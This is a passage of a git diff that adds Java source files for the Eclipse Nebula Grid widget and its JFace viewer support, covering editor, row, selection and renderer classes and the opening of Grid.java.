if(autoPreferredSize && column.getWordWrap()) + { + Grid grid = column.getParent(); + for(int cnt=0;cnt - various significant contributions + * bug fix in: 191216 + * Jake fisher - fixed minimum height (bug 263489) + *******************************************************************************/ + +package org.eclipse.nebula.jface.gridviewer; + +import org.eclipse.jface.viewers.ColumnViewer; +import org.eclipse.jface.viewers.ColumnViewerEditor; +import org.eclipse.jface.viewers.ColumnViewerEditorActivationEvent; +import org.eclipse.jface.viewers.ColumnViewerEditorActivationStrategy; +import org.eclipse.jface.viewers.ViewerCell; +import org.eclipse.jface.viewers.ViewerRow; +import org.eclipse.jface.viewers.CellEditor.LayoutData; +import org.eclipse.nebula.widgets.grid.Grid; +import org.eclipse.nebula.widgets.grid.GridEditor; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Item; + +/** + * FIXME + */ +public class GridViewerEditor extends ColumnViewerEditor { + /** Editor support for tables. */ + private GridEditor gridEditor; + + /** + * The selection follows the editor + */ + public static final int SELECTION_FOLLOWS_EDITOR = 1 << 30; + + private boolean selectionFollowsEditor = false; + + GridViewerEditor(ColumnViewer viewer, + ColumnViewerEditorActivationStrategy editorActivationStrategy, + int feature) { + super(viewer, editorActivationStrategy, feature); + this.selectionFollowsEditor = (feature & SELECTION_FOLLOWS_EDITOR) == SELECTION_FOLLOWS_EDITOR; + this.gridEditor = new GridEditor((Grid) viewer.getControl()); + } + + /** + * FIXME + * {@inheritDoc} + */ + protected void setEditor(Control w, Item item, int fColumnNumber) + { + gridEditor.setEditor(w, (GridItem) item, fColumnNumber); + } + + /** + * FIXME + * {@inheritDoc} + */ + protected void setLayoutData(LayoutData layoutData) + { + gridEditor.grabHorizontal = layoutData.grabHorizontal; + gridEditor.horizontalAlignment = layoutData.horizontalAlignment; + gridEditor.minimumWidth = layoutData.minimumWidth; + + gridEditor.verticalAlignment = layoutData.verticalAlignment; + + if (layoutData.minimumHeight != SWT.DEFAULT) { + gridEditor.minimumHeight = layoutData.minimumHeight; + } else { + gridEditor.minimumHeight = SWT.DEFAULT; + } + } + + /** + * FIXME + * {@inheritDoc} + */ + public ViewerCell getFocusCell() { + Grid grid = (Grid)getViewer().getControl(); + + if( grid.getCellSelectionEnabled() ) { + Point p = grid.getFocusCell(); + + if( p.x >= 0 && p.y >= 0 ) { + GridItem item = grid.getItem(p.y); + if( item != null ) { + ViewerRow row = getViewerRowFromItem(item); + return row.getCell(p.x); + } + } + } + + return null; + } + + private ViewerRow getViewerRowFromItem(GridItem item) { + if( getViewer() instanceof GridTableViewer ) { + return ((GridTableViewer)getViewer()).getViewerRowFromItem(item); + } else { + return ((GridTreeViewer)getViewer()).getViewerRowFromItem(item); + } + } + + /** + * {@inheritDoc} + */ + protected void updateFocusCell(ViewerCell focusCell, ColumnViewerEditorActivationEvent event) { + Grid grid = ((Grid)getViewer().getControl()); + + if (event.eventType == ColumnViewerEditorActivationEvent.PROGRAMMATIC + || event.eventType == ColumnViewerEditorActivationEvent.TRAVERSAL) { + grid.setFocusColumn(grid.getColumn(focusCell.getColumnIndex())); + grid.setFocusItem((GridItem) focusCell.getItem()); + + if( selectionFollowsEditor ) { + grid.setCellSelection(new Point(focusCell.getColumnIndex(),grid.indexOf((GridItem)focusCell.getItem()))); + } + } + + grid.showColumn(grid.getColumn(focusCell.getColumnIndex())); + grid.showItem((GridItem) focusCell.getItem()); + } + + /** + * FIXME + * @param viewer + * @param editorActivationStrategy + * @param feature + */ + public static void create(GridTableViewer viewer, + ColumnViewerEditorActivationStrategy editorActivationStrategy, + int feature) { + viewer.setColumnViewerEditor(new GridViewerEditor(viewer,editorActivationStrategy,feature)); + } + + /** + * FIXME + * @param viewer + * @param editorActivationStrategy + * @param feature + */ + public static void create(GridTreeViewer viewer, + ColumnViewerEditorActivationStrategy editorActivationStrategy, + int feature) { + viewer.setColumnViewerEditor(new GridViewerEditor(viewer,editorActivationStrategy,feature)); + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/GridViewerRow.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/GridViewerRow.java new file mode 100644 index 0000000..a38e605 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/GridViewerRow.java @@ -0,0 +1,311 @@ +/******************************************************************************* + * Copyright (c) 2007 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * rmcamara@us.ibm.com - initial API and implementation + * Tom Schindl - various significant contributions + * bug fix in: 191216 + *******************************************************************************/ + +package org.eclipse.nebula.jface.gridviewer; + +import org.eclipse.jface.viewers.TreePath; +import org.eclipse.jface.viewers.ViewerRow; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Widget; + +/** + * GridViewerRow is the concrete implementation of the part that represents items in a + * Grid. + */ +public class GridViewerRow extends ViewerRow +{ + private GridItem item; + + /** + * Create a new instance of the receiver. + * + * @param item GridItem source. + */ + GridViewerRow(GridItem item) + { + this.item = item; + } + + /** {@inheritDoc} */ + public Rectangle getBounds(int columnIndex) + { + if( columnIndex == Integer.MAX_VALUE ) { + //TODO Provide implementation for GridItem + return null; + } else { + if( ! item.getParent().getColumn(columnIndex).isVisible() ) { + return new Rectangle(0,0,0,0); + } else { + return item.getBounds(columnIndex); + } + + } + } + + /** {@inheritDoc} */ + public Rectangle getBounds() + { + // TODO This is not correct. Update once item returns the correct information. + return item.getBounds(0); + } + + + /** {@inheritDoc} */ + public int getColumnCount() + { + return item.getParent().getColumnCount(); + } + + /** {@inheritDoc} */ + public Color getBackground(int columnIndex) + { + if( columnIndex == Integer.MAX_VALUE ) { + //TODO Provide implementation for GridItem + return null; + } else { + return item.getBackground(columnIndex); + } + } + + /** {@inheritDoc} */ + public Font getFont(int columnIndex) + { + if( columnIndex == Integer.MAX_VALUE ) { + //TODO Provide implementation for GridItem + return null; + } else { + return item.getFont(columnIndex); + } + } + + /** {@inheritDoc} */ + public Color getForeground(int columnIndex) + { + if( columnIndex == Integer.MAX_VALUE ) { + //TODO Provide implementation for GridItem + return null; + } else { + return item.getForeground(columnIndex); + } + } + + /** {@inheritDoc} */ + public Image getImage(int columnIndex) + { + if( columnIndex == Integer.MAX_VALUE ) { + //TODO Provide implementation for GridItem + return null; + } else { + return item.getImage(columnIndex); + } + + } + + /** {@inheritDoc} */ + public String getText(int columnIndex) + { + if( columnIndex == Integer.MAX_VALUE ) { + return item.getHeaderText(); + } else { + return item.getText(columnIndex); + } + + } + + /** {@inheritDoc} */ + public void setBackground(int columnIndex, Color color) + { + if( columnIndex == Integer.MAX_VALUE ) { + item.setHeaderBackground(color); + } else { + item.setBackground(columnIndex, color); + } + } + + /** {@inheritDoc} */ + public void setFont(int columnIndex, Font font) + { + if( columnIndex == Integer.MAX_VALUE ) { + //TODO Provide implementation for GridItem + } else { + item.setFont(columnIndex, font); + } + } + + /** {@inheritDoc} */ + public void setForeground(int columnIndex, Color color) + { + if( columnIndex == Integer.MAX_VALUE ) { + item.setHeaderForeground(color); + } else { + item.setForeground(columnIndex, color); + } + } + + /** {@inheritDoc} */ + public void setImage(int columnIndex, Image image) + { + if( columnIndex == Integer.MAX_VALUE ) { + item.setHeaderImage(image); + } else { + item.setImage(columnIndex, image); + } + + } + + /** {@inheritDoc} */ + public void setText(int columnIndex, String text) + { + if( columnIndex == Integer.MAX_VALUE ) { + item.setHeaderText(text); + } else { + item.setText(columnIndex, text == null ? "" : text); //$NON-NLS-1$ + } + } + + /** {@inheritDoc} */ + public Control getControl() + { + return item.getParent(); + } + + /** + * {@inheritDoc} + */ + public ViewerRow getNeighbor(int direction, boolean sameLevel) { + if( direction == ViewerRow.ABOVE ) { + return getRowAbove(); + } else if( direction == ViewerRow.BELOW ) { + return getRowBelow(); + } else { + throw new IllegalArgumentException("Illegal value of direction argument."); //$NON-NLS-1$ + } + } + + + private ViewerRow getRowAbove() { + int index = item.getParent().indexOf(item) - 1; + + if( index >= 0 ) { + return new GridViewerRow(item.getParent().getItem(index)); + } + + return null; + } + + private ViewerRow getRowBelow() { + int index = item.getParent().indexOf(item) + 1; + + if( index < item.getParent().getItemCount() ) { + GridItem tmp = item.getParent().getItem(index); + if( tmp != null ) { + return new GridViewerRow(tmp); + } + } + + return null; + } + + /** + * {@inheritDoc} + */ + public TreePath getTreePath() { + return new TreePath(new Object[] {item.getData()}); + } + + /** + * {@inheritDoc} + */ + public Object clone() { + return new GridViewerRow(item); + } + + /** + * {@inheritDoc} + */ + public Object getElement() { + return item.getData(); + } + + void setItem(GridItem item) { + this.item = item; + } + + /** + * {@inheritDoc} + */ + public Widget getItem() + { + return item; + } + + /** + * {@inheritDoc} + */ + public int getVisualIndex(int creationIndex) { + int[] order = item.getParent().getColumnOrder(); + + for (int i = 0; i < order.length; i++) { + if (order[i] == creationIndex) { + return i; + } + } + + return super.getVisualIndex(creationIndex); + } + + /** + * {@inheritDoc} + */ + public int getCreationIndex(int visualIndex) { + if( item != null && ! item.isDisposed() && hasColumns() && isValidOrderIndex(visualIndex) ) { + return item.getParent().getColumnOrder()[visualIndex]; + } + return super.getCreationIndex(visualIndex); + } + +// public Rectangle getTextBounds(int index) { +// return item.getTextBounds(index); +// } +// +// /* (non-Javadoc) +// * @see org.eclipse.jface.viewers.ViewerRow#getImageBounds(int) +// */ +// public Rectangle getImageBounds(int index) { +// return item.getImageBounds(index); +// } + + private boolean hasColumns() { + return this.item.getParent().getColumnCount() != 0; + } + + private boolean isValidOrderIndex(int currentIndex) { + return currentIndex < this.item.getParent().getColumnOrder().length; + } + + /** + * Check if the column of the cell is part of is visible + * + * @param columnIndex the column index + * + * @return true if the column is visible + */ + protected boolean isColumnVisible(int columnIndex) { + return item.getParent().getColumn(columnIndex).isVisible(); + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/internal/CellSelection.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/internal/CellSelection.java new file mode 100644 index 0000000..2ed0248 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/internal/CellSelection.java @@ -0,0 +1,42 @@ +package org.eclipse.nebula.jface.gridviewer.internal; + +import java.util.ArrayList; +import java.util.List; + +import org.eclipse.jface.viewers.IElementComparer; +import org.eclipse.jface.viewers.StructuredSelection; + +/** + * FIXME + */ +public class CellSelection extends SelectionWithFocusRow { + private List indicesList; + private List elements; + + /** + * Creates a structured selection from the given List and + * element comparer. If an element comparer is provided, it will be used to + * determine equality between structured selection objects provided that + * they both are based on the same (identical) comparer. See bug + * + * @param elements + * list of selected elements + * @param comparer + * the comparer, or null + * @since 3.4 + */ + public CellSelection(List elements, List indicesList, Object focusElement, IElementComparer comparer) { + super(elements,focusElement,comparer); + this.elements = new ArrayList(elements); + this.indicesList = indicesList; + } + + /** + * FIXME + * @param element + * @return the indices + */ + public List getIndices(Object element) { + return (List) indicesList.get(elements.indexOf(element)); + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/internal/SelectionWithFocusRow.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/internal/SelectionWithFocusRow.java new file mode 100644 index 0000000..e476aa1 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/internal/SelectionWithFocusRow.java @@ -0,0 +1,33 @@ +package org.eclipse.nebula.jface.gridviewer.internal; + +import java.util.List; + +import org.eclipse.jface.viewers.IElementComparer; +import org.eclipse.jface.viewers.StructuredSelection; + +/** + * FIXME + */ +public class SelectionWithFocusRow extends StructuredSelection { + private Object focusElement; + + /** + * FIXME + * @param elements + * @param focusElement + * @param comparer + */ + public SelectionWithFocusRow(List elements, Object focusElement, IElementComparer comparer) { + super(elements,comparer); + this.focusElement = focusElement; + } + + /** + * FIXME + * @return the focus element + */ + public Object getFocusElement() { + return focusElement; + } + +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/AbstractInternalWidget.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/AbstractInternalWidget.java new file mode 100644 index 0000000..f513c44 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/AbstractInternalWidget.java @@ -0,0 +1,46 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + *******************************************************************************/ + +package org.eclipse.nebula.widgets.grid; + +/** + *

    + * NOTE: THIS WIDGET AND ITS API ARE STILL UNDER DEVELOPMENT. THIS IS A PRE-RELEASE ALPHA + * VERSION. USERS SHOULD EXPECT API CHANGES IN FUTURE VERSIONS. + *

    + * Base implementation of IRenderer and IInternalWidget. Provides management of + * a few values. + * + * @see AbstractRenderer + * @author chris.gross@us.ibm.com + */ +public abstract class AbstractInternalWidget extends AbstractRenderer implements IInternalWidget +{ + + String hoverDetail = ""; + + /** + * @return the hoverDetail + */ + public String getHoverDetail() + { + return hoverDetail; + } + + /** + * @param hoverDetail the hoverDetail to set + */ + public void setHoverDetail(String hoverDetail) + { + this.hoverDetail = hoverDetail; + } + +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/AbstractRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/AbstractRenderer.java new file mode 100644 index 0000000..fa7c123 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/AbstractRenderer.java @@ -0,0 +1,231 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid; + +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Display; + +/** + *

    + * NOTE: THIS WIDGET AND ITS API ARE STILL UNDER DEVELOPMENT. THIS IS A PRE-RELEASE ALPHA + * VERSION. USERS SHOULD EXPECT API CHANGES IN FUTURE VERSIONS. + *

    + * Base implementation of IRenderer. Provides management of a few values. + * + * @author chris.gross@us.ibm.com + */ +public abstract class AbstractRenderer implements IRenderer +{ + /** Hover state. */ + private boolean hover; + + /** Renderer has focus. */ + private boolean focus; + + /** Mouse down on the renderer area. */ + private boolean mouseDown; + + /** Selection state. */ + private boolean selected; + + /** Expansion state. */ + private boolean expanded; + + /** The bounds the renderer paints on. */ + private Rectangle bounds = new Rectangle(0, 0, 0, 0); + + /** Display used to create GC to perform painting. */ + private Display display; + + /** Dragging state. */ + private boolean dragging; + + /** + * Returns the bounds. + * + * @return Rectangle describing the bounds. + */ + public Rectangle getBounds() + { + return bounds; + } + + /** + * {@inheritDoc} + */ + public void setBounds(int x, int y, int width, int height) + { + setBounds(new Rectangle(x, y, width, height)); + } + + + /** + * {@inheritDoc} + */ + public void setBounds(Rectangle bounds) + { + this.bounds = bounds; + } + + /** + * Returns the size. + * + * @return size of the renderer. + */ + public Point getSize() + { + return new Point(bounds.width, bounds.height); + } + + /** + * {@inheritDoc} + */ + public void setLocation(int x, int y) + { + setBounds(new Rectangle(x, y, bounds.width, bounds.height)); + } + + /** + * {@inheritDoc} + */ + public void setLocation(Point location) + { + setBounds(new Rectangle(location.x, location.y, bounds.width, bounds.height)); + } + + /** + * {@inheritDoc} + */ + public void setSize(int width, int height) + { + setBounds(new Rectangle(bounds.x, bounds.y, width, height)); + } + + /** + * {@inheritDoc} + */ + public void setSize(Point size) + { + setBounds(new Rectangle(bounds.x, bounds.y, size.x, size.y)); + } + + /** + * Returns a boolean value indicating if this renderer has focus. + * + * @return True/false if has focus. + */ + public boolean isFocus() + { + return focus; + } + + /** + * {@inheritDoc} + */ + public void setFocus(boolean focus) + { + this.focus = focus; + } + + /** + * Returns the hover state. + * + * @return Is the renderer in the hover state. + */ + public boolean isHover() + { + return hover; + } + + /** + * {@inheritDoc} + */ + public void setHover(boolean hover) + { + this.hover = hover; + } + + /** + * Returns the boolean value indicating if the renderer has the mouseDown + * state. + * + * @return mouse down state. + */ + public boolean isMouseDown() + { + return mouseDown; + } + + /** + * {@inheritDoc} + */ + public void setMouseDown(boolean mouseDown) + { + this.mouseDown = mouseDown; + } + + /** + * Returns the boolean state indicating if the selected state is set. + * + * @return selected state. + */ + public boolean isSelected() + { + return selected; + } + + /** + * {@inheritDoc} + */ + public void setSelected(boolean selected) + { + this.selected = selected; + } + + /** + * Returns the expansion state. + * + * @return Returns the expanded. + */ + public boolean isExpanded() + { + return expanded; + } + + /** + * Sets the expansion state of this renderer. + * + * @param expanded The expanded to set. + */ + public void setExpanded(boolean expanded) + { + this.expanded = expanded; + } + + /** + * Sets the display for the renderer. + * + * @return Returns the display. + */ + public Display getDisplay() + { + return display; + } + + /** + * {@inheritDoc} + */ + public void setDisplay(Display display) + { + this.display = display; + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/Grid.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/Grid.java new file mode 100644 index 0000000..8dfe31b --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/Grid.java @@ -0,0 +1,10767 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + * Chuck.Mastrandrea@sas.com - wordwrapping in bug 222280 + * smcduff@hotmail.com - wordwrapping in bug 222280 + * Claes Rosell - rowspan in bug 272384 + * Marco Maccaferri - fixed arrow scrolling in bug 294767 + * higerinbeijing@gmail.com . fixed selectionEvent.item in bug 286617 + * balarkrishnan@yahoo.com - fix in bug 298684 + * Enrico Schnepel - new API in 238729, bugfix in 294952, 322114 + * Benjamin Bortfeldt - new tooltip support in 300797 + * Thomas Halm - bugfix in 315397 + * Justin Dolezy - bugfix in 316598 + * Cosmin Ghita - bugfix in 323687 + * Pinard-Legry Guilhaume - bugfix in 267057 + * Thorsten Schenkel - bugfix in 356803 + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Iterator; +import java.util.List; +import java.util.Vector; + +import org.eclipse.nebula.widgets.grid.internal.DefaultBottomLeftRenderer; +import org.eclipse.nebula.widgets.grid.internal.DefaultColumnGroupHeaderRenderer; +import org.eclipse.nebula.widgets.grid.internal.DefaultDropPointRenderer; +import org.eclipse.nebula.widgets.grid.internal.DefaultEmptyCellRenderer; +import org.eclipse.nebula.widgets.grid.internal.DefaultEmptyColumnFooterRenderer; +import org.eclipse.nebula.widgets.grid.internal.DefaultEmptyColumnHeaderRenderer; +import org.eclipse.nebula.widgets.grid.internal.DefaultEmptyRowHeaderRenderer; +import org.eclipse.nebula.widgets.grid.internal.DefaultFocusRenderer; +import org.eclipse.nebula.widgets.grid.internal.DefaultInsertMarkRenderer; +import org.eclipse.nebula.widgets.grid.internal.DefaultRowHeaderRenderer; +import org.eclipse.nebula.widgets.grid.internal.DefaultTopLeftRenderer; +import org.eclipse.nebula.widgets.grid.internal.GridToolTip; +import org.eclipse.nebula.widgets.grid.internal.IScrollBarProxy; +import org.eclipse.nebula.widgets.grid.internal.NullScrollBarProxy; +import org.eclipse.nebula.widgets.grid.internal.ScrollBarProxyAdapter; +import org.eclipse.swt.SWT; +import org.eclipse.swt.SWTException; +import org.eclipse.swt.accessibility.ACC; +import org.eclipse.swt.accessibility.Accessible; +import org.eclipse.swt.accessibility.AccessibleAdapter; +import org.eclipse.swt.accessibility.AccessibleControlAdapter; +import org.eclipse.swt.accessibility.AccessibleControlEvent; +import org.eclipse.swt.accessibility.AccessibleEvent; +import org.eclipse.swt.dnd.DND; +import org.eclipse.swt.dnd.DropTargetEvent; +import org.eclipse.swt.dnd.DropTargetListener; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.FocusListener; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.MouseListener; +import org.eclipse.swt.events.MouseMoveListener; +import org.eclipse.swt.events.MouseTrackListener; +import org.eclipse.swt.events.PaintEvent; +import org.eclipse.swt.events.PaintListener; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.events.TraverseEvent; +import org.eclipse.swt.events.TraverseListener; +import org.eclipse.swt.events.TreeEvent; +import org.eclipse.swt.events.TreeListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.RGB; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Canvas; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.TypedListener; + +/** + *

    + * NOTE: THIS WIDGET AND ITS API ARE STILL UNDER DEVELOPMENT. THIS IS A PRE-RELEASE ALPHA + * VERSION. USERS SHOULD EXPECT API CHANGES IN FUTURE VERSIONS. + *

    + * Instances of this class implement a selectable user interface object that + * displays a list of images and strings and issue notification when selected. + *

    + * The item children that may be added to instances of this class must be of + * type {@code GridItem}. + *

    + *
    + *
    Styles:
    + *
    SWT.SINGLE, SWT.MULTI, SWT.NO_FOCUS, SWT.CHECK, SWT.VIRTUAL
    + *
    Events:
    + *
    Selection, DefaultSelection
    + *
    + * + * @author chris.gross@us.ibm.com + */ +public class Grid extends Canvas +{ + //TODO: figure out better way to allow renderers to trigger events + //TODO: scroll as necessary when performing drag select (current strategy ok) + //TODO: need to refactor the way the range select remembers older selection + //TODO: remember why i decided i needed to refactor the way the range select remembers older selection + //TODO: need to alter how column drag selection works to allow selection of spanned cells + //TODO: JAVADOC! + //TODO: column freezing + + //TODO: Performance - need to cache top index + + /** + * Object holding the visible range + */ + public static class GridVisibleRange { + private GridItem[] items = new GridItem[0]; + private GridColumn[] columns = new GridColumn[0]; + + /** + * @return the current items shown + */ + public GridItem[] getItems() { + return items; + } + + /** + * @return the current columns shown + */ + public GridColumn[] getColumns() { + return columns; + } + } + + /** + * Accessibility default action for column headers and column group headers. + */ + private static final String ACC_COLUMN_DEFAULT_ACTION = "Click"; + + /** + * Accessibility default action for items. + */ + private static final String ACC_ITEM_DEFAULT_ACTION = "Double Click"; + + /** + * Accessibility expand action for tree items. + */ + private static final String ACC_ITEM_ACTION_EXPAND = "Expand"; + + /** + * Accessibility collapse action for tree items. + */ + private static final String ACC_ITEM_ACTION_COLLAPSE = "Collapse"; + + /** + * Accessibility name for the column group header toggle button. + */ + private static final String ACC_TOGGLE_BUTTON_NAME = "Toggle Button"; + + /** + * Alpha blending value used when drawing the dragged column header. + */ + private static final int COLUMN_DRAG_ALPHA = 128; + + /** + * Number of pixels below the header to draw the drop point. + */ + private static final int DROP_POINT_LOWER_OFFSET = 3; + + /** + * Horizontal scrolling increment, in pixels. + */ + private static final int HORZ_SCROLL_INCREMENT = 5; + + /** + * The area to the left and right of the column boundary/resizer that is + * still considered the resizer area. This prevents a user from having to be + * *exactly* over the resizer. + */ + private static final int COLUMN_RESIZER_THRESHOLD = 4; + + /** + * @see #COLUMN_RESIZER_THRESHOLD + */ + private static final int ROW_RESIZER_THRESHOLD = 3; + + + /** + * The minimum width of a column header. + */ + private static final int MIN_COLUMN_HEADER_WIDTH = 20; + /** + * The minimum height of a row header. + */ + private static final int MIN_ROW_HEADER_HEIGHT = 10; + + /** + * The number used when sizing the row header (i.e. size it for '1000') + * initially. + */ +// private static final int INITIAL_ROW_HEADER_SIZING_VALUE = 1000; + + /** + * The factor to multiply the current row header sizing value by when + * determining the next sizing value. Used for performance reasons. + */ +// private static final int ROW_HEADER_SIZING_MULTIPLIER = 10; + + /** + * Tracks whether the scroll values are correct. If not they will be + * recomputed in onPaint. This allows us to get a free ride on top of the + * OS's paint event merging to assure that we don't perform this expensive + * operation when unnecessary. + */ + private boolean scrollValuesObsolete = false; + + /** + * All items in the table, not just root items. + */ + private List items = new ArrayList(); + + /** + * All root items. + */ + private List rootItems = new ArrayList(); + + /** + * List of selected items. + */ + private List selectedItems = new ArrayList(); + + /** + * Reference to the item in focus. + */ + private GridItem focusItem; + + private boolean cellSelectionEnabled = false; + + private List selectedCells = new ArrayList(); + private List selectedCellsBeforeRangeSelect = new ArrayList(); + + private boolean cellDragSelectionOccuring = false; + private boolean cellRowDragSelectionOccuring = false; + private boolean cellColumnDragSelectionOccuring = false; + private boolean cellDragCTRL = false; + private boolean followupCellSelectionEventOwed = false; + + private boolean cellSelectedOnLastMouseDown; + private boolean cellRowSelectedOnLastMouseDown; + private boolean cellColumnSelectedOnLastMouseDown; + + private GridColumn shiftSelectionAnchorColumn; + + private GridColumn focusColumn; + + private List selectedColumns = new ArrayList(); + + /** + * This is the column that the user last navigated to, but may not be the focusColumn because + * that column may be spanned in the current row. This is only used in situations where the user + * has used the keyboard to navigate up or down in the table and the focusColumn has switched to + * a new column because the intended column (was maintained in this var) was spanned. The table + * will attempt to set focus back to the intended column during subsequent up/down navigations. + */ + private GridColumn intendedFocusColumn; + + + /** + * List of table columns in creation/index order. + */ + private List columns = new ArrayList(); + + /** + * List of the table columns in the order they are displayed. + */ + private List displayOrderedColumns = new ArrayList(); + + private GridColumnGroup[] columnGroups = new GridColumnGroup[0]; + + /** + * Renderer to paint the top left area when both column and row headers are + * shown. + */ + private IRenderer topLeftRenderer = new DefaultTopLeftRenderer(); + + /** + * Renderer to paint the bottom left area when row headers and column footers are shown + */ + private IRenderer bottomLeftRenderer = new DefaultBottomLeftRenderer(); + + /** + * Renderer used to paint row headers. + */ + private IRenderer rowHeaderRenderer = new DefaultRowHeaderRenderer(); + + /** + * Renderer used to paint empty column headers, used when the columns don't + * fill the horz space. + */ + private IRenderer emptyColumnHeaderRenderer = new DefaultEmptyColumnHeaderRenderer(); + + /** + * Renderer used to paint empty column footers, used when the columns don't + * fill the horz space. + */ + private IRenderer emptyColumnFooterRenderer = new DefaultEmptyColumnFooterRenderer(); + + /** + * Renderer used to paint empty cells to fill horz and vert space. + */ + private GridCellRenderer emptyCellRenderer = new DefaultEmptyCellRenderer(); + + /** + * Renderer used to paint empty row headers when the rows don't fill the + * vertical space. + */ + private IRenderer emptyRowHeaderRenderer = new DefaultEmptyRowHeaderRenderer(); + + /** + * Renderers the UI affordance identifying where the dragged column will be + * dropped. + */ + private IRenderer dropPointRenderer = new DefaultDropPointRenderer(); + + /** + * Renderer used to paint on top of an already painted row to denote focus. + */ + private IRenderer focusRenderer = new DefaultFocusRenderer(); + + /** + * Are row headers visible? + */ + private boolean rowHeaderVisible = false; + + /** + * Are column headers visible? + */ + private boolean columnHeadersVisible = false; + + /** + * Are column footers visible? + */ + private boolean columnFootersVisible = false; + + /** + * Type of selection behavior. Valid values are SWT.SINGLE and SWT.MULTI. + */ + private int selectionType = SWT.SINGLE; + + /** + * True if selection highlighting is enabled. + */ + private boolean selectionEnabled = true; + + /** + * Default height of items. This value is used + * for GridItems with a height + * of -1. + */ + private int itemHeight = 1; + + private boolean userModifiedItemHeight = false; + + /** + * Width of each row header. + */ + private int rowHeaderWidth = 0; + + /** + * The row header width is variable. The row header width gets larger as + * more rows are added to the table to ensure that the row header has enough + * room to display the longest string of numbers that display in the row + * header. This determination of how wide to make the row header is rather + * slow and therefore is only done at every 1000 items (or so). This + * variable remembers how many items were last computed and therefore when + * the number of items is greater than this value, we need to recalculate + * the row header width. See newItem(). + */ +// private int lastRowHeaderWidthCalculationAt = 0; + + /** + * Height of each column header. + */ + private int headerHeight = 0; + + /** + * Height of each column footer + */ + private int footerHeight = 0; + + /** + * True if mouse is hover on a column boundary and can resize the column. + */ + boolean hoveringOnColumnResizer = false; + + /** + * Reference to the column being resized. + */ + private GridColumn columnBeingResized; + + /** + * Are this Grid's rows resizeable? + */ + private boolean rowsResizeable = false; + + /** + * Is the user currently resizing a column? + */ + private boolean resizingColumn = false; + + /** + * The mouse X position when the user starts the resize. + */ + private int resizingStartX = 0; + + /** + * The width of the column when the user starts the resize. This, together + * with the resizingStartX determines the current width during resize. + */ + private int resizingColumnStartWidth = 0; + + private boolean hoveringOnRowResizer = false; + private GridItem rowBeingResized; + private boolean resizingRow = false; + private int resizingStartY; + private int resizingRowStartHeight; + + /** + * Reference to the column whose header is currently in a pushed state. + */ + private GridColumn columnBeingPushed; + + /** + * Is the user currently pushing a column header? + */ + private boolean 